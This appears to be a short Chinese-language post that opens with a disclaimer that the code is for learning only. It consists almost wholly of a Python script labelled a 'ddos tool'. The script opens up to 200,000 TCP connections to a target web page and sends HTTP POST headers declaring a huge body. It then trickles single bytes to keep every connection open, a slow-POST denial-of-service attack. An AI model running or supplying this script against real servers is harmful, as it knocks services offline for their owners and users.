下面代码仅供学习参考，禁止用于其他非法途径

    #!/usr/bin/env python
    import socket
    import time
    import threading
    
    # Pressure Test,ddos tool
    # ---------------------------
    MAX_CONN = 200000    # 最大socket链接量
    PORT = 8801            
    HOST = "127"
    PAGE = "/index.php"
    # ---------------------------
    
    buf = ("POST %s HTTP/1.1\r\n"
           "Host: %s\r\n"
           "Content-Length: 10000000\r\n"
           "Cookie: dklkt_dos_test\r\n"
           "\r\n" % (PAGE, HOST))
    
    # 创建socket链接列表，存储上20万个socket
    socks = []
    # 循环创建socket链接
    def conn_thread():
        global socks
        for i in range(0, MAX_CONN):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.connect((HOST, PORT))
                s.send(buf.encode("utf-8"))
                print("Send buf OK!,conn=%d\n" % i)
                socks.append(s)
            except Exception as ex:
                print("Could not connect to server or send error:%s" % ex)
                time.sleep(1)
    
    
    # socket循环对目标网站发数据
    def send_thread():
        global socks
        while True:
            for s in socks:
                try:
                    s.send("f".encode("utf-8"))
                    print("send f OK!")
                except Exception as ex:
                    print("Send Exception:%s\n" % ex)
                    socks.remove(s)
                    s.close()
            time.sleep(0.1)
    
    # 多线程执行两个函数
    conn_th = threading.Thread(target=conn_thread, args=())
    send_th = threading.Thread(target=send_thread, args=())
    
    conn_th.start()
    send_th.start()